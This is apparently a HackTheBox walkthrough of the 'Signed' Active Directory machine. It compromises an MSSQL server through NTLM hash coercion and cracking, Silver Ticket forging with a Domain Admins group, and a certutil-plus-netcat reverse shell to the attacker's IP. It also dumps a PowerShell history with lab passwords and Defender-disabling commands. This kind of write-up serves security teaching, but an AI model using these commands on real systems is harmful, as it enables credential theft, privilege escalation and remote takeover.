Signed – HackTheBox Link to heading
- OS: Windows
- Difficulty : Medium
- Platform: HackTheBox
![]()
Summary Link to heading
“Signed” is a Medium difficulty machine from HackTheBox platform focused on Active Directory, more specifically on Microsoft SQL Server (MSSQL). We start the machine with an assumed breach (provided credentials) that works for a MSSQL service. Within this service, we are able to coerce an authentication against our attacker machine, get its NTLMv2 hash, crack it and obtain a plaintext password for a service account. More over, using only MSSQL service we are also able to enumerate some properties for the Active Directory environment such as domain and domain groups Security Identifiers (SIDs). With this information and the service account, we are able to forge a Silver Ticket that allow us to elevate privileges in the system and compromise the domain.
User Link to heading
Windowspenetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatHWe star with a quick Nmap scan looking for open TCP ports:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.7.104
We only find one port open for the target machine: 1433 Microsoft SQL Server (MSSQL).
Applying some recognition scans over this port with -sVC flag with Nmap we get:
❯ sudo nmap -sVC -p1433 10.129.7.104
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 21:28 -03
Nmap scan report for 10.129.7.104
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-11T23:32:35
|_Not valid after: 2055-10-11T23:32:35
| ms-sql-info:
| 10.129.7.104:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-10-12T00:29:16+00:00; +3s from scanner time.
| ms-sql-ntlm-info:
| 10.129.7.104:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
Host script results:
|_clock-skew: mean: 3s, deviation: 0s, median: 2s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.42 seconds
We can also get some information using the initial credentials provided against MSSQL service using NetExec:
❯ nxc mssql 10.129.7.104 -u scott -p 'Sm230#C5NatH' --local-auth
MSSQL 10.129.7.104 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.7.104 1433 DC01 [+] DC01\scott:Sm230#C5NatH
Where we have used --local-auth to use SQL authentication instead of Windows authentication (usually related to Active Directory).
Additionally, from the last output, and also from Nmap, we can see a machine name DC01 a domain SIGNED.HTB and a FQDN (machine name with domain) DC01.SIGNED.HTB. Add this information, along with the target IP address, to our /etc/hosts file executing in a terminal:
❯ echo '10.129.7.104 DC01 DC01.SIGNED.HTB SIGNED.HTB' | sudo tee -a /etc/hosts
We can check if we can run MSSQL queries remotely with NetExec:
❯ nxc mssql DC01.SIGNED.HTB -u 'scott' -p 'Sm230#C5NatH' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases'
MSSQL 10.129.7.104 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.7.104 1433 DC01 [+] DC01\scott:Sm230#C5NatH
MSSQL 10.129.7.104 1433 DC01 name:master
MSSQL 10.129.7.104 1433 DC01 name:tempdb
MSSQL 10.129.7.104 1433 DC01 name:model
MSSQL 10.129.7.104 1433 DC01 name:msdb
We can.
We can also use mssql_priv module to check if we can elevate privileges:
❯ nxc mssql DC01.SIGNED.HTB -u 'scott' -p 'Sm230#C5NatH' --local-auth -M mssql_priv -o ACTION=privesc
MSSQL 10.129.7.104 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.7.104 1433 DC01 [+] DC01\scott:Sm230#C5NatH
MSSQL_PRIV 10.129.7.104 1433 DC01 [-] can't find any path to privesc
But did not work.
Therefore, we will have to start enumerating manually the database. For this purpose we can use impacket-mssqlclient and log in as scott user with the provided credentials:
❯ impacket-mssqlclient scott:'Sm230#C5NatH'@DC01.SIGNED.HTB
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (scott guest@master)>
We can attempt to enable xp_cmdshell:
SQL (scott guest@master)> exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'xp_cmdshell', 1; RECONFIGURE; exec xp_cmdshell 'whoami';
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
But, as we can see, we don’t have permissions to enable this feature.
We can check if there are other users in the database using the query:
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
That returns:
SQL (scott guest@master)> select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
login login_type password_hash create_date modify_date status
----- ---------- ------------- ----------- ----------- --------
sa SQL_LOGIN NULL 2003-04-08 09:10:35 2025-10-02 09:27:32 b'Enabled'
scott SQL_LOGIN NULL 2025-10-02 09:33:29 2025-10-02 09:33:29 b'Enabled'
Besides our user scott, there is also another user called sa (which is a default one in MSSQL, like root for MySQL).
We are currently logged in as guest user:
SQL (scott guest@master)> SELECT user_name();
-----
guest
We can also check if the database itself and check if we have passwords. For example, checking passwords in msdb database returns:
SQL (scott guest@master)> USE msdb; SELECT TABLE_SCHEMA, DB_NAME() AS DATABASE_NAME, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME LIKE '%pwd%' COLLATE SQL_Latin1_General_CP1_CI_AS OR COLUMN_NAME LIKE '%password%' COLLATE SQL_Latin1_General_CP1_CI_AS OR COLUMN_NAME LIKE '%passwd%' COLLATE SQL_Latin1_General_CP1_CI_AS;
ENVCHANGE(DATABASE): Old Value: master, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
TABLE_SCHEMA DATABASE_NAME TABLE_NAME COLUMN_NAME
------------ ------------- -------------- ---------------------
dbo msdb backupmediaset is_password_protected
dbo msdb backupset is_password_protected
But both tables are empty.
We can check roles in the database:
SQL (scott guest@msdb)> SELECT name AS role_name, type_desc FROM sys.database_principals WHERE type = 'R' ORDER BY name;
role_name type_desc
----------------- -------------
db_accessadmin DATABASE_ROLE
db_backupoperator DATABASE_ROLE
db_datareader DATABASE_ROLE
db_datawriter DATABASE_ROLE
db_ddladmin DATABASE_ROLE
db_denydatareader DATABASE_ROLE
db_denydatawriter DATABASE_ROLE
db_owner DATABASE_ROLE
db_securityadmin DATABASE_ROLE
public DATABASE_ROLE
We also cannot impersonate sa user to run commands as this user:
SQL (scott guest@msdb)> EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER('sysadmin');
ERROR(DC01): Line 1: Cannot execute as the server principal because the principal "sa" does not exist, this type of principal cannot be impersonated, or you do not have permission.
At this point, we can try to get the NTLMv2 hash of the service running the database using Responder. Start Responder listening on tun0 interface (the one used by HTB):
❯ sudo responder -I tun0
<SNIP>
And, in the victim machine, using xp_dirtree, coerce an authentication against our target machine:
SQL (scott guest@master)> xp_dirtree \\10.10.16.7\\anything
subdirectory depth file
------------ ----- ----
Where 10.10.16.7 is our attacker IP.
We get an NTLMv2 hash for mssqlsvc user in our Responder listener:
❯ sudo responder -I tun0
<SNIP>
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.7.104
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash : mssqlsvc::SIGNED:86ebe05c8ac776e5:6F8DD7B77C770985F2D12BD04338637A:010100000000000080B80273FC3ADC0183E9496D9585E58F000000000200080054004B0036004B0001001E00570049004E002D004700330030004400410056004A00300046003100550004003400570049004E002D004700330030004400410056004A0030004600310055002E0054004B0036004B002E004C004F00430041004C000300140054004B0036004B002E004C004F00430041004C000500140054004B0036004B002E004C004F00430041004C000700080080B80273FC3ADC01060004000200000008003000300000000000000000000000003000002F744E33D186B1A4DB7A428D2D5B065BD9F1A70EE6A82FDD9DEA628690FAEBA30A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0037000000000000000000
Save the obtained hash in a file called mssqlsvc_hash and attempt a Brute Force Password Cracking with JohnTheRipper (john) using rockyou.txt passwords wordlist:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt mssqlsvc_hash --format=netntlmv2
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
purPLE9795!@ (mssqlsvc)
1g 0:00:00:08 DONE (2025-10-11 22:20) 0.1226g/s 550635p/s 550635c/s 550635C/s purcitititya..pupomalley
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
We get a password for this service account: purPLE9795!@
As the only available port is 1433 for MSSQL, check if these credentials work using NetExec:
❯ nxc mssql DC01.SIGNED.HTB -u 'mssqlsvc' -p 'purPLE9795!@'
MSSQL 10.129.7.104 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.7.104 1433 DC01 [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
It worked. Note that this time we did not use --local-auth with NetExec, which means we are using Active Directory authentication instead of SQL authentication this time.
Log in as mssqlsvc using impacket-mssqlclient, using -windows-auth to use AD authentication:
❯ impacket-mssqlclient mssqlsvc:'purPLE9795!@'@DC01.SIGNED.HTB -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc guest@master)>
But, apparently, there is no difference in the information inside the database.
An interesting thing I learned about this box is that we can use MSSQL to enumerate information about a domain. For example, we can enumerate users related to Windows services:
SQL (SIGNED\mssqlsvc guest@msdb)> SELECT name, sid FROM sys.server_principals WHERE type_desc = 'WINDOWS_LOGIN' OR type_desc = 'WINDOWS_GROUP';
name sid
------------------------- -------------------------------------------------------------------
SIGNED\IT b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'
NT SERVICE\SQLWriter b'010600000000000550000000732b9753646ef90356745cb675c3aa6cd6b4d28b'
NT SERVICE\Winmgmt b'0106000000000005500000005a048ddff9c7430ab450d4e7477a2172ab4170f4'
NT SERVICE\MSSQLSERVER b'010600000000000550000000e20f4fe7b15874e48e19026478c2dc9ac307b83e'
NT AUTHORITY\SYSTEM b'010100000000000512000000'
NT SERVICE\SQLSERVERAGENT b'010600000000000550000000dca88f14b79fd47a992a3d8943f829a726066357'
NT SERVICE\SQLTELEMETRY b'010600000000000550000000447a1a9ee0235381234a54aa9bd0549c4fcc0642'
SIGNED\Domain Users b'0105000000000005150000005b7bb0f398aa2245ad4a1ca401020000'
We get an SID (Security Identifier) for a group called SIGNED/IT.
To pass the domain to a “readable” format, I built a Python script (that can be downloaded from my Github repository) for this purpose:
❯ python3 hex_to_sid.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
[*] Hex SID: 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
[*] New SID: S-1-5-21-4088429403-1159899800-2753317549-1105
The RID for the IT group is 1105.
We can also get the information about the domain with MSSQL such as the Domain SID:
SQL (SIGNED\mssqlsvc guest@msdb)> DECLARE @sid VARBINARY(85) = SUSER_SID('SIGNED\Administrator'); DECLARE @len INT = DATALENGTH(@sid) - 4; SELECT 'Domain SID' AS label, CONVERT(VARCHAR(1000), SUBSTRING(@sid, 1, @len), 1) AS domain_sid_hex;
label domain_sid_hex
---------- -----------------------------------------------------
b'Domain SID' b'0x0105000000000005150000005B7BB0F398AA2245AD4A1CA4'
Where we get the domain in hex.
We can use our script again:
❯ python3 hex_to_sid.py 0105000000000005150000005B7BB0F398AA2245AD4A1CA4
[*] Hex SID: 0105000000000005150000005B7BB0F398AA2245AD4A1CA4
[*] New SID: S-1-5-21-4088429403-1159899800-2753317549
As expected, the Domain SID is S-1-5-21-4088429403-1159899800-2753317549.
Remember that we also have the password for mssqlsvc service account, that was purPLE9795!@. We can pass this plain text password to NTLM hash running in a terminal:
❯ echo -n 'purPLE9795!@' | iconv -t utf16le | openssl dgst -md4 | awk '{print $2}'
ef699384c3285c54128a3ee1ddb1a0cc
We got an NTLM hash.
Summarizing, we have:
- An account service for
MSSQLalong with itsNTLMhash. - The
Domain SID.
Assuming mssqlsvc is a privileged account over MSSQLSvc service, we can attempt to forge a Silver Ticket. For this purpose we can use ticketer.py from Impacket:
❯ impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain SIGNED.HTB -spn 'MSSQLSvc/DC01.SIGNED.HTB' -user-id 500 Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for SIGNED.HTB/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
We can check if the forged Silver Ticket works with NetExec:
❯ KRB5CCNAME=Administrator.ccache nxc mssql DC01.SIGNED.HTB --use-kcache
MSSQL DC01.SIGNED.HTB 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] SIGNED.HTB\Administrator from ccache
It apparently works.
But if we use the ticket it is one for guest user:
❯ KRB5CCNAME=Administrator.ccache impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator guest@master)> EXECUTE AS LOGIN = 'dbo'; SELECT IS_SRVROLEMEMBER('sysadmin');
ERROR(DC01): Line 1: Cannot execute as the server principal because the principal "dbo" does not exist, this type of principal cannot be impersonated, or you do not have permission.
SQL (SIGNED\Administrator guest@master)>
We are logged in as guest user as well.
NetExec also cannot find a way to elevate privileges with this ticket:
❯ KRB5CCNAME=Administrator.ccache nxc mssql DC01.SIGNED.HTB --use-kcache -M mssql_priv -o ACTION=privesc
MSSQL DC01.SIGNED.HTB 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] SIGNED.HTB\Administrator from ccache
MSSQL_PRIV DC01.SIGNED.HTB 1433 DC01 [-] can't find any path to privesc
This can be fixed if we explicitly put in the Silver Ticket that we want to add a group in the ticket using -groups flag. Since the RID for IT group was 1105, add this group to the ticket:
❯ impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain SIGNED.HTB -spn MSSQLSvc/DC01.SIGNED.HTB -groups 1105 -user-id 500 Administrator
and if we use this new ticket, now we are dbo user:
❯ KRB5CCNAME=Administrator.ccache impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator dbo@master)>
If we get error when using the ticket as Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication this could likely be due to a problem with clocks/time. In that case, we might need to run our previous command using faketime and ntpdate:
❯ KRB5CCNAME=Administrator.ccache faketime "$(ntpdate -q DC01.SIGNED.HTB | cut -d ' ' -f 1,2)" impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB -windows-auth
If we now use this ticket with NetExec it shows that this user is a privileged one in the current database:
❯ KRB5CCNAME=Administrator.ccache nxc mssql DC01.SIGNED.HTB --use-kcache -M mssql_priv -o ACTION=privesc
MSSQL DC01.SIGNED.HTB 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] SIGNED.HTB\Administrator from ccache (Pwn3d!)
MSSQL_PRIV DC01.SIGNED.HTB 1433 DC01 [+] SIGNED\Administrator is already a sysadmin
We get Pwn3d! message. For MSSQL this means we can execute commands remotely.
Therefore, grab a netcat binary for Windows and expose it in a temporal HTTP Python server on port 8000:
❯ ls -la && python3 -m http.server 8000
total 60
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Oct 12 01:24 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Oct 11 21:27 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 3108 Oct 11 23:44 hex_to_sid.py
-rw-r--r-- 1 gunzf0x gunzf0x 45272 Oct 12 01:24 nc64.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Start a listener with netcat along with rlwrap:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.18] from (UNKNOWN) [10.129.198.36] 54320
Microsoft Windows [Version 10.0.17763.7314]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Finally, use NetExec to download the exposed netcat binary with certutil and send us a reverse shell:
❯ KRB5CCNAME=Administrator.ccache nxc mssql DC01.SIGNED.HTB --use-kcache -x 'certutil.exe -urlcache -split -f http://10.10.16.18:8000/nc64.exe C:\Windows\System32\spool\drivers\color\nc.exe && C:\Windows\System32\spool\drivers\color\nc.exe 10.10.16.18 443 -e cmd.exe'
MSSQL DC01.SIGNED.HTB 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] SIGNED.HTB\Administrator from ccache (Pwn3d!)
[01:26:30] ERROR Error when attempting to execute command via xp_cmdshell: timed out mssqlexec.py:30
[01:26:35] ERROR [OPSEC] Error when attempting to restore option 'xp_cmdshell': timed out mssqlexec.py:47
[01:26:40] ERROR [OPSEC] Error when attempting to restore option 'advanced options': timed out mssqlexec.py:47
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] Executed command via mssqlexec
And we get a shell as mssqlsvc:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.18] from (UNKNOWN) [10.129.198.36] 54320
Microsoft Windows [Version 10.0.17763.7314]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
signed\mssqlsvc
We can grab the user flag at mssqlsvc’s Desktop.
NT Authority/System - Administrator Link to heading
Just as we did to create a ticket for mssql_svc user, we can now attempt to create another one. But this time we can now also pass the groups 512 and 519, as these groups corresponds to Domain Admins and Enterprise Admins, respectively:
❯ impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain SIGNED.HTB -spn MSSQLSvc/DC01.SIGNED.HTB -groups 512,519,1105 -user-id 1103 mssqlsvc
We can now attempt to read different files in the system using OPENBULK function. We can attempt to read the system flag with the forged ticket and NetExec:
❯ KRB5CCNAME=mssqlsvc.ccache nxc mssql DC01.SIGNED.HTB --use-kcache -q "SELECT * FROM OPENROWSET(BULK N'C:/Users/Administrator/Desktop/root.txt', SINGLE_CLOB) AS Contents"
MSSQL DC01.SIGNED.HTB 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] SIGNED.HTB\mssqlsvc from ccache (Pwn3d!)
MSSQL DC01.SIGNED.HTB 1433 DC01 BulkColumn:b'edf167200cc1af***************\r\n'
GG.
(Optional) Shell as Administrator user Link to heading
We can attempt to read the PowerShell history file and obtain:
❯ KRB5CCNAME=mssqlsvc.ccache nxc mssql DC01.SIGNED.HTB --use-kcache -q "SELECT * FROM OPENROWSET(BULK N'C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Powershell/PSReadline/ConsoleHost_history.txt', SINGLE_CLOB) AS Contents"
MSSQL DC01.SIGNED.HTB 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] SIGNED.HTB\mssqlsvc from ccache (Pwn3d!)
MSSQL DC01.SIGNED.HTB 1433 DC01 BulkColumn:b'# Domain`\n$Domain = "signed.htb"`\n`\n# Groups`\n$Groups = @("HR","IT","Finance","Developers","Support")`\n`\nforeach ($grp in $Groups) {`\n if (-not (Get-ADGroup -Filter "Name -eq \'$grp\'" -ErrorAction SilentlyContinue)) {`\n New-ADGroup -Name $grp -GroupScope Global -GroupCategory Security`\n }`\n}`\n`\n# Users: Username, Password, Group`\n$Users = @(`\n @{Username="oliver.mills"; Password="!Abc987321$"; Group="HR"},`\n @{Username="emma.clark"; Password="!Xyz654789#"; Group="HR"},`\n @{Username="liam.wright"; Password="!Qwe123789&"; Group="HR"},`\n`\n @{Username="noah.adams"; Password="!ItDev456$"; Group="IT"},`\n @{Username="ava.morris"; Password="!ItDev789#"; Group="IT"},`\n`\n @{Username="sophia.turner"; Password="!Fin987654$"; Group="Finance"},`\n @{Username="james.morgan"; Password="!Fin123987#"; Group="Finance"},`\n @{Username="mia.cooper"; Password="!Fin456321&"; Group="Finance"},`\n`\n @{Username="elijah.brooks"; Password="!Dev123456$"; Group="Developers"},`\n @{Username="isabella.evans"; Password="!Dev789654#"; Group="Developers"},`\n @{Username="lucas.murphy"; Password="!Dev321987&"; Group="Developers"},`\n @{Username="william.johnson"; Password="!ItDev321&"; Group="Developers"},`\n`\n @{Username="charlotte.price"; Password="!Sup123456$"; Group="Support"},`\n @{Username="henry.bennett"; Password="!Sup654321#"; Group="Support"},`\n @{Username="amelia.kelly"; Password="!Sup987123&"; Group="Support"},`\n @{Username="jackson.gray"; Password="!Sup321654$"; Group="Support"},`\n @{Username="harper.diaz"; Password="!Sup789321#"; Group="Support"}`\n)`\n`\nforeach ($u in $Users) {`\n if (-not (Get-ADUser -Filter "SamAccountName -eq \'$($u.Username)\'" -ErrorAction SilentlyContinue)) {`\n New-ADUser -Name $u.Username ``\n -SamAccountName $u.Username ``\n -UserPrincipalName "$($u.Username)@$Domain" ``\n -AccountPassword (ConvertTo-SecureString $u.Password -AsPlainText -Force) ``\n -Enabled $true ``\n -PasswordNeverExpires $true`\n`\n Add-ADGroupMember -Identity $u.Group -Members $u.Username`\n }`\n}\r\nInvoke-WebRequest -Uri "https://go.microsoft.com/fwlink/?linkid
=2215202&clcid=0x409&culture=en-us&country=us" -OutFile "C:\\Windows\\Tasks\\SQL2022-SSEI-Expr.exe"\r\nC:\\Windows\\Tasks\\SQL2022-SSEI-Expr.exe\r\ncd \\\r\ndir\r\ncd .\\SQL2022\\\r\ndir\r\ncd .\\Evaluation_ENU\\\r\ndir\r\n.\\SETUP.EXE /ACTION=Install\r\nget-service -Name MSSQLSERVER\r\nNew-NetFirewallRule -DisplayName "SQL Server TCP 1433" -
Direction Inbound -Protocol TCP -LocalPort 1433 -Action Allow -Profile any\r\nget-service -Name MSSQLSERVER\r\nSet-Service mssqlserver -StartupType automatic\r\nget-service
-Name MSSQLSERVER\r\nStart-Service mssqlserver\r\nwhoami /all\r\nsecedit /export /cfg C:\\windows\\tasks\\cur.inf\r\nnotepad C:\\windows\\tasks\\cur.inf\r\nsecedit /config
ure /db C:\\Windows\\Security\\local.sdb /cfg C:\\windows\\tasks\\cur.inf /areas USER_RIGHTS\r\nsc.exe privs MSSQLSERVER SeChangeNotifyPrivilege/SeCreateGlobalPrivilege/SeIncreaseWorkingSetPrivilege/SeIncreaseQuotaPrivilege\r\nRestart-Service mssqlserver\r\n$zone = "DC=signed.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=signed,DC=htb"`\n$account = Get-ADUser mssqlsvc`\n`\n$acl = Get-ACL "AD:$zone"`\n$identity = New-Object System.Security.Principal.NTAccount($account.SamAccountName)`\n`\n$rights = [System.DirectoryServices.ActiveDirectoryRights]"GenericAll"`\n$inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::All`\n$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity,$rights,"Allow",$inheritance)`\n`\n$acl.AddAccessRule($ace)`\nSet-ACL -ACLObject $acl "AD:$zone"\r\nEnable-PSRemoting -Force\r\n$FQDN = "dc01.signed.htb"`\n$cert = New-SelfSignedCertificate -DnsName $FQDN -CertStoreLocation Cert:\\LocalMachine\\My -KeyExportPolicy Exportable -FriendlyName "WinRM HTTPS $FQDN" -NotAfter (Get-Date).AddYears(5)`\n$thumb = ($cert.Thumbprint).Replace(" ","")`\nwinrm create winrm/config/Listener?Address=*+Transport=HTTPS "@{Hostname=`"$FQDN`";CertificateThumbprint=`"$thumb`"}"\r\ntry { winrm delete winrm/config/Listener?Address=*+Transport=HTTP } catch {}\r\nSet-Item -Path WSMan:\\localhost\\Client\\TrustedHosts -Value * -Force`\nnetsh advfirewall firewall add rule name="WinRM over HTTPS (5986)" dir=in action=allow protocol=TCP localport=5986`\nRestart-Service WinRM -Force\r\nnetstat -ano -p tcp\r\nwinrm enumerate winrm/config/listener\r\nwinrm get winrm/config\r\nNew-NetFirewallRule -DisplayName "Allow RDP - Any IP" ``\n -Direction Inbound ``\n -Protocol TCP ``\n -LocalPort 3389 ``\n -Action Allow ``\n -Profile Any ``\n -Enabled True ``\n -Description "Allow RDP access from any IP address (testing only)"\r\nSet-NetFirewallProfile -Profile Domain,Public,Private -DefaultInboundAction Block -DefaultOutboundAction Allow\r\nNew-NetFirewallRule -DisplayName "Allow DNS - Domain Only" ``\n -Direction Inbound ``\n -Protocol UDP ``\n -LocalPort 53 ``\n -Action Allow ``\n -Profile Any ``\n -Description "Allow DNS queries from domain network"\r\nGet-NetFirewallRule -Direction Inbound | Where-Object {$_.DisplayName -notlike "Allow *"} | Disable-NetFirewallRule\r\nNew-NetFirewallRule -DisplayName "Allow MSSQL - Any IP" ``\n -Direction Inbound ``\n -Protocol TCP ``\n -LocalPort 1433 ``\n -Action Allow ``\n -Enabled True ``\n -Profile Any ``\n -Description "Allow MSSQL access from any IP address"\r\nls \\users\\\r\ncd .\\Desktop\\\r\nnotepad root.txt\r\nnotepad C:\\Users\\mssqlsvc\\Desktop\\user.txt\r\ndir\r\ncmd /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -RemoveDefinitions -All\r\npowershell -command \'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true\' \r\ndir\r\ncd \\windows\\takss\r\ncd C:\\windows\\Tasks\\\r\ndir\r\ndel *\r\ndir\r\ncd \\\r\ndir\r\ncd users\r\ncd .\\Administrator\\Desktop\\\r\nnotepad cleanup.ps1\r\ncls\r\n$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-ExecutionPolicy Bypass -File C:\\Users\\Administrator\\Documents\\cleanup.ps1"`\n$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 15) -RepetitionDuration (New-TimeSpan -Days 365)`\n$Settings = 